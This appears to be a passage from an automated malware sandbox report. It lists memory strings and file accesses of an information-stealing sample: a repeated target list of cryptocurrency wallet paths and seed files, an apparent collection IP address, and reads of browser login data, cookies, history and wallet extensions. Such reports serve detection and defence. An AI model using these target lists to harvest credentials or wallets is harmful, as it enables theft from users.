Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Coinomi\Coinomi\wallets\.
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: PMW3U6MXers\user\AppData\Roaming\MultiDoge\multidoge.walletptQ(
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Electrum-LTC\wallets\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
